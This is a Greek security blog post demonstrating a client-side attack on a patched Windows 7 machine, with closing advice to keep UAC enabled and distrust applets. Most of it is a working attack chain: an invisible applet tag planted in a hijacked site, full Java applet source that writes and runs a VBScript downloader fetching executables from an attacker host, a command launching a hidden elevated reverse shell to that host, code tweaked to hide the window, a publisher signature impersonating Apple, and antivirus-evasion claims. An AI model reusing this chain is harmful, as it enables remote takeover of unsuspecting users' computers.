Security Blog

Client side attack returning an elevated reverse shell

Οι επιθέσεις client side δεν είναι κάτι καινούριο. Εδώ και αρκετό καιρό όμως  είναι “της μόδας”. Η βάση τους συνήθως βρίσκεται σε μια αδυναμία του web browser που χρησιμοποιεί το “θύμα”. Κάνοντας χρήση της αδυναμίας αυτής, ένας επιτιθέμενος μπορεί: από το να εξαπολύσει ένα DOS attack μέχρι να πάρει πλήρη πρόσβαση στο συγκεκριμένο box του θύματος. Το θετικό της υπόθεσης είναι ότι τέτοιες αδυναμίες, συνήθως, δεν κρατάνε για πολύ αφού συχνά το bug αποκαλύπτεται και καλύπτεται με κάποιο patch. Επίσης, αυτές μπορούν να λειτουργήσουν μόνο σε συγκεκριμένες εκδόσεις, συγκεκριμένου web browser.

Υπάρχει όμως και μια άλλη προσέγγιση: Η επίθεση να γίνει απόλυτα νόμιμα και να μην εκμεταλλεύεται καμιά αδυναμία κανενός web browser, παρά μόνο την εμπιστοσύνη του θύματος σε αυτό που γνωρίζει…

Πρώτα θα περιγράψουμε την επίθεση. Αμέσως μετά θα αναφέρουμε τα “εργαλεία” τα οποία θα μπορούσε κάποιος να χρησιμοποιήσει για κάτι τέτοιο. Τέλος, θα δείξουμε την επίθεση στην πράξη με εικόνες όσο και με ένα μικρό video.

Η Επίθεση

Η επίθεση θα γίνει από ένα linux box το οποίο βρίσκεται κάπου στο διαδίκτυο και μάλιστα πρόκειται για ένα VPS (Virtual Private Server) box με CentOS 5.5. Το θύμα θα είναι (τι άλλο;) ένα Windows 7 64-bit Ultimate box. Ο web browser δεν έχει σημασία. Μπορεί να είναι οποιοσδήποτε. Το συγκεκριμένο θύμα έχει σαν Firewall το default των windows 7 ultimate και σαν anti-virus το Nod32 της Eset (έκδοση 4.2.35).  Φυσικά το box-θύμα είναι full patched με τις πιο πρόσφατες ενημερώσεις ασφαλείας της Microsoft μέχρι την στιγμή που γράφεται αυτό το άρθρο (3/12/2011).

Η επίθεση θα πραγματοποιηθεί από ένα site το οποίο ο χρήστης εμπιστεύεται και θεωρεί (μάλλον νομίζει) οτι ποτέ (ή σχεδόν ποτέ) δεν πρόκειται να τον “προδώσει”. Έστω (υποθετικά πάντα) οτι αυτό το site είναι το γνωστό σε όλους μας google. Ποιος (μη υποψιασμένος) θα μπορούσε να φανταστεί οτι η google μπορεί να χρησιμοποιηθεί από κάποιους τρίτους παρά την θέληση της, για να επιτεθεί στους “πελάτες”  της; (this is a… ρητορική ερώτηση).

Το Σενάριο

Ο κακός προγραμματιστής έχει κάνει τα εξής: Έχει “φάει” την google (λέμε τώρα!) και έχει χώσει μέσα στο κεντρικό αρχείο του site της ένα πολύ μικρό κώδικα. Αυτός ο κώδικας “τρέχει” στο box του εκάστοτε χρήστη ένα java applet. Μόλις ο ανυποψίαστος επισκεφτεί την Google θα τρέξει το java applet το οποίο θα ρωτήσει τον χρήστη εάν θέλει να εκτελεστεί. Αν ο χρήστης δεχτεί τότε έρχεται και η επόμενη και τελευταία ερώτηση: Είναι αυτή του UAC (User Account Control). Αυτό βέβαια μόνο σε περίπτωση που ο χρήστης το έχει ενεργοποιημένο αλλιώς θα εκτελεστεί κατ’ ευθείαν. Όταν το applet τελικά τρέξει, δημιουργεί στον temp κατάλογο του χρήστη έναν downloader σε VB script και αμέσως μετά τον εκτελεί. Αυτός με την σειρά του, μόλις εκτελείται, κατεβάζει στον ίδιο κατάλογο δύο μη ανιχνεύσιμα (τουλάχιστον από την Eset) εκτελέσιμα. Το myelevate.exe και το test.exe. Το ένα, όταν εκτελεστεί απαιτεί elevation που θα το δώσει στο test.exe το οποίο περνιέται σαν παράμετρος στο elevation.exe. Αυτό το test.exe όμως δεν είναι τίποτε άλλο από ένα home made reverse shell! Μόλις λοιπόν εκτελεστεί θα επιστρέψει ή καλύτερα θα “στείλει” τον Command Interpreter των windows 7 (ναι, για το cmd.exe μιλάμε και μάλιστα an elevated one!)  στην IP και στην πόρτα που του οριστούν με αντίστοιχες παραμέτρους.

Η επίθεση “ποντάρει” (α) σε εκείνους τους χρήστες που χρησιμοποιούν το windows box τους με δικαιώματα administrator (δηλαδή το 90% των οικιακών χρηστών) και (β) έχουν απενεργοποιημένο το UAC, χωρίς αυτό να σημαίνει ότι δεν θα παίξει σωστά και σε αυτούς που το έχουν ενεργοποιημένο. Η διαφορά είναι οτι στην περίπτωση που είναι ενεργοποιημένο, θα υπάρξει μια ακόμα ερώτηση από το λειτουργικό σύστημα προς το θύμα: οτι το test.exe ζητά άδεια για να εκτελεστεί στο υπολογιστεί με δικαιώματα administrator. Φυσικά το test.exe (όπως θα δούμε παρακάτω) θα μπορούσε κάλλιστα να λέγεται… iexplorer.exe ή ότι θέλουμε εμείς, για να μην κινήσουμε πολλές υποψίες. Στο παράδειγμα μας λέγεται test.exe για λόγους εκπαιδευτικούς.

Τα εργαλεία

Το software που χρησιμοποιήσαμε στην επίθεση είναι το παρακάτω:

  • Κλήση του java Applet
  • Το java applet
  • Το myelevate.exe πρόγραμμα
  • Το test.exe πρόγραμμα

Ακολουθεί ανάλυση ένα προς ένα:

Κλήση του java Applet

To java Applet καλείται από μια γραμμή κώδικα HTML η οποία τοποθετήθηκε μέσα στο κεντρικό αρχείο της google ώστε να τρέξει με την είσοδο του θύματος. Ο κώδικας αυτός είναι ο παρακάτω:

<applet code="AppleViewer.class" archive="SignedAppleViewer.jar" height="0" width="0"></applet>

Δεν νομίζουμε ότι χρειάζεται πολλές επεξηγήσεις: Ορίζει και καλεί ένα java applet με το όνομα AppleViewer. Για να μην κνήσει υποψίες το TAG είναι αόρατο, έχοντας μηδενικό height και width.

 To java Applet

To applet που απαιτείται για να κάνει όλη την δουλειά είναι το παρακάτω (για λόγους privacy η IP του επιτιθέμενου έχει γίνει xxx.yy.zz.www ):

import java.applet.*;
import java.awt.*;
import java.io.*;

public class AppleViewer extends Applet {

public void init() {
String cmmnd;
Process p, p2;

// Step [1] Write the vb script downloader in disk

// make the doanloader to Download (1) the myelevate.exe and (2) the test.exe (reverse shell)
try {
cmmnd = "cmd.exe /c echo Dim bfile, SiteResponse, Http, fsys, tmp, file:set fsys = CreateObject(\"Scripting.FileSystemObject\"):tmp = fsys.GetSpecialFolder(2)::Set bfile = CreateObject(\"ADODB.Stream\") :bfile.Type = 1 :bfile.Open :Set Http = CreateObject(\"WinHttp.WinHttpRequest.5.1\") ::Http.Open \"GET\", \"http://xxx.yy.zz.www/myElevate.exe\", False :Http.Send :SiteResponse = Http.ResponseBody :bfile.Write SiteResponse:file = tmp + \"\\\" + \"myElevate.exe\":bfile.SaveToFile file, 2 ::Http.Open \"GET\", \"http://xxx.yy.zz.www/test.exe\", False :Http.Send :SiteResponse = Http.ResponseBody :bfile.Write SiteResponse:file = tmp + \"\\\" + \"test.exe\":bfile.SaveToFile file, 2 > %tmp%\\downloader.vbs";
p = Runtime.getRuntime().exec(cmmnd);
}
catch(IOException e) {
e.printStackTrace();
}

// Step [2] Start executing the vb script downloader (and wait to finish)
try {
cmmnd = "cmd.exe /c %tmp%\\downloader.vbs";
p2 = Runtime.getRuntime().exec(cmmnd);
try{
p2.waitFor(); // hei! I am not finished yet!!
}
catch (InterruptedException e) {
e.printStackTrace();
}
}
catch(IOException e) {
e.printStackTrace();
}

// Step [3] Execute the elevated reverse shell
try {
cmmnd = "cmd.exe /c \"%tmp%\\myelevate %tmp%\\test xxx.yy.zz.www 1234\" ";
p = Runtime.getRuntime().exec(cmmnd);
}
catch(IOException e) {
e.printStackTrace();
}

}

}

Εδώ καλό θα ήταν να εξηγήσουμε μερικά βασικά θέματα επάνω στον κώδικα. Δώστε βάση στο vb script (step 1) που γράφεται με redirection μέσω του command interpreter (cmd.exe) στο temporary directory του θύματος. Πρόκειται για μια συνεπτυγμένη μορφή του παρακάτω κώδικα:

Dim bfile, SiteResponse, Http, fsys, tmp, file
set fsys = CreateObject("Scripting.FileSystemObject")
tmp = fsys.GetSpecialFolder(2)

Set bfile = CreateObject("ADODB.Stream")
bfile.Type = 1
bfile.Open
Set Http = CreateObject("WinHttp.WinHttpRequest.5.1")

Http.Open "GET", "http://xxx.yy.zz.www/myElevate.exe", False
Http.Send
SiteResponse = Http.ResponseBody
bfile.Write SiteResponse
file = tmp + "\" + "myElevate.exe"
bfile.SaveToFile file, 2

Http.Open "GET", "http://xxx.yy.zz.www/test.exe", False
Http.Send
SiteResponse = Http.ResponseBody
bfile.Write SiteResponse
file = tmp + "\" + "test.exe"
bfile.SaveToFile file, 2

Απ’ ότι βλέπετε, το παραπάνω script (μόλις εκτελεστεί) θα κατεβάσει στο box του θύματος μέσα από την πόρτα 80 (http huh?) τα δύο εκτελέσιμα τα οποία βρίσκονται στον server του επιτιθέμενου. Πρόκειται για μια παραλλαγή του γνωστού vb script που είχε δημοσιευτεί στο πάλαι ποτέ milworm κάτω από το (νεκρό πλέον) link: http://www.milw0rm.com/papers/262

Εκείνο στο millworm έπαιρνε από την γραμμή εντολών τα αρχεία που θα κατέβαζε καθώς και την IP, επίσης το βασικό download γίνονταν από μια function με το όνομα BinaryGetURL. Όμως το script αυτό έφερνε… “αλλεργία” στο Nod32 και το “σκότωνε” θεωρώντας το (όχι άδικα) ως απειλή. Το παραπάνω όμως script δεν φαίνεται να του δημιουργεί καμιά ανησυχία. Το αξιοσημείωτο της υπόθεσης είναι ότι η εργασία που επιτελεί είναι ακριβώς η ίδια. Το γεγονός αυτό δίνει έναν από τους τρόπους που δουλεύουν μερικά anti-viruses: Αντιγράφουν τον κώδικα μερικών malware ως έχει, χωρίς να ασχολούνται με τις παραλλαγές τους. Εντάξει, αποδεκτό είναι. Η παραλλαγές είναι άπειρες και δεν μπορεί να γίνει αλλιώς. Άσε που υπάρχει και ο κίνδυνος να χαρακτηριστεί απειλή κάποιο απόλυτα legitimate πρόγραμμα. Εδώ οι προγραμματιστές της Eset φαίνεται ότι στόχευαν τους script-kiddies αφού μόνο αυτοί δεν θα μπορούσαν να καταλάβουν τι κάνει αυτό το μικρό script ώστε να το αλλάξουν! Αυτοί είναι οι μόνοι που χρησιμοποιούν έτοιμα προγράμματα χωρίς καν να ξέρουν πως λειτουργούν – μόνο και μόνο για να κάνουν… αταξίες!

Αμέσως μετά, στο step 2, εκτελούμε τον downloader. Πρέπει να πούμε ότι τα 3 βήματα δεν πρέπει να τρέχουν ασύγχρονα. Επειδή όμως σε αυτό το σημείο μπορεί να έχουμε μια καθυστέρηση (μέχρι να κατέβουν και τα 2 αρχεία) δεν θα πρέπει με κανέναν τρόπο να εκτελεστεί το step 3 (που τρέχει τα αρχεία) πριν τελειώσει το step 2 (το download τους). Γι αυτό και σε αυτό το step χρησιμοποιείται η buld-in συνάρτηση της Java  waitfor.

Τέλος, στο step 3 δώστε βάση στον τρόπο που καλείται η επίθεση:

cmd.exe /c \"%tmp%\\myelevate %tmp%\\test xxx.yy.zz.www 1234\"

Ο command interpreter εκτελεί την myelevate.exe περνώντας  σαν παράμετρο το test.exe (το reverse shell) και στο test περνάνε οι παράμετροι της IP του επιτιθέμενου και της πόρτας που θα σταλεί το command shell.

To myelevate.exe

Αυτό είναι ένα απόλυτα νόμιμο πρόγραμμα το οποίο έχει φτιαχτεί για να τρέχει κάποιος από γραμμή εντολής ένα πρόγραμμα σε elevated mode σε windows Vista και πάνω. Τα credits πάνε στον Johannes Passing – http://int3.de. Το πρόγραμμα αυτό έχει το καλό ότι κατά την εκτέλεση του εμφανίζει τον συγκεκριμένο command interpreter window. Αυτό όμως το καλό δεν είναι και τόσο καλό για κάποιον που θέλει να είναι αόρατος, για αυτό και τροποποιήσαμε λιγάκι το πρόγραμμα του Κου Johannes ώστε να εκτελεί της εντολές του αόρατα: Χωρίς να εμφανίζει το command line window. Για να πούμε την αλήθεια η αλλαγή, μετά από μια γρήγορη μελέτη του κώδικα, δεν ήταν καθόλου δύσκολη. Για την ακρίβεια η αλλαγή ήταν μόνο η… παρακάτω:

INT Launch(
__in PCWSTR ApplicationName,
__in PCWSTR CommandLine,
__in BOOL Wait
)
{
SHELLEXECUTEINFO Shex;
ZeroMemory( &Shex, sizeof( SHELLEXECUTEINFO ) );
Shex.cbSize = sizeof( SHELLEXECUTEINFO );
Shex.fMask = SEE_MASK_FLAG_NO_UI | SEE_MASK_NOCLOSEPROCESS;
Shex.lpVerb = L"runas";
Shex.lpFile = ApplicationName;
Shex.lpParameters = CommandLine;
// Thiseas Hide this window!
 //Shex.nShow = SW_SHOWNORMAL;
 Shex.nShow = SW_HIDE;

Αυτό το πρόγραμμα είναι ένα δικό μας reverse shell το οποίο το δημοσιεύσαμε πρώτη φορά στο Unauthorized blog και μετά στο Hackin9. Δεν νομίζουμε οτι χρειάζεται να επαναλάβουμε τον κώδικα και εδώ. Αξίζει όμως να πούμε οτι το συγκεκριμένο reverse shell παραμένει ακόμα undetectable (τουλάχιστον από την Eset). Δέχεται δύο παραμέτρους α,β όπου α η IP και β η πόρτα που θα σταλεί το shell.

Μια εικόνα αξίζει όσο πολλές λέξεις…

Στην παρακάτω εικόνα βλέπουμε πως ακριβώς κάναμε compile και register το java applet.

Δώστε βάση στο registration του Applet. Χρησιμοποιούμε την εταιρία Apple μόνο και μόνο για να πειστεί ο χρήστης  σε περίπτωση που ο χρήστης πατήσει  “More Information…” στο windows που θα ανοίξει και θα ζητά επιβεβαίωση του για να τρέξει το applet (όπως θα δούμε παρακάτω).

Οι παρακάτω δύο εικόνες είναι οι πιο αντιπροσωπευτικές του άρθρου αυτού. Το θύμα (στην πρώτη) έχει ανοίξει με Internet Explorer 9.0 το… google και (ως εκ-θαύματος) του ζητείται η άδεια να εκτελεστεί κάποιο applet.

Η 2η εικόνα αυτή είναι ότι βλέπει ο επιτιθέμενος: Απ΄ότι βλέπουμε κι εμείς, από το Linux box έχει ανοίξει έναν listener με netcat στην πόρτα 1234  και απλά περιμένει…

Έστω τώρα, οτι το θύμα είναι υποψιασμένο και πατάει το “More Information…” ώστε να δει με τα ίδια του τα μάτια τα στοιχεία του publisher του applet. Θα δει το παρακάτω:

Χμ… Apple Inc. SA? Λέτε οι Apple να θέλει να μου κάνει κακό! Μπα! Ποιος είμαι εγώ που ολόκληρη Apple θα ασχοληθεί μαζί μου: Run Forrest… Run!

To αποτέλεσμα είναι ένα elevated reverse shell, όπως βλέπετε και στην επόμενη εικόνα:

Δώσε βάση στην εντολή “netsh advfirewall firewall add rule name=”test.exe” dir=in action=allow protocol=TCP localport=1234″ η οποία απαιτεί elevated privileges για να μπορέσει να εκτελεστεί.

Μπορείτε να τα δείτε όλα αυτά που περιγράψαμε στο video που ακολουθεί:

Συμπεράσματα

Παρουσιάσαμε μια client side επίθεση με την χρήση java applet και μερικά undetectable εργαλεία. Οι παραλλαγές μιας τέτοιας επίθεσης που μπορούμε να σκεφτούμε είναι πάρα πολλές. Π.χ. πρόσθεση κανόνων στο firewall, αλλαγές στο registry, εισαγωγή χρήστη με administrator privileges κλπ. Η συγκεκριμένη επίθεση όπως είπαμε και στην αρχή εκμεταλλεύεται την εμπιστοσύνη που έχει κάποιος χρήστης σε ένα site. Εντάξει, μπορεί να υπερβάλλαμε λιγάκι χρησιμοποιώντας το πλαστό παράδειγμα με το google. Αλλά προσέξτε: Στην θέση του google θα μπορούσε να είναι το αγαπημένο σας forum ή (ακόμα χειρότερα!) η τράπεζα που κάνετε τις συναλλαγές σας. Γι αυτό μην εμπιστεύεστε τόσο εύκολα και αβίαστα τα φαινομενικά αθώα scripts που σας ζητούν την άδεια να τρέξουν στον υπολογιστή σας. Επίσης όσο κι αν σας εκνευρίζει, ΜΗΝ απενεργοποιείτε ποτέ το UAC! Το UAC είναι όπως ο.. αερόσακος στο αυτοκίνητο: Μπορεί να χρειαστεί μια φορά μόνο. Αυτή όμως, ίσως είναι αρκετή!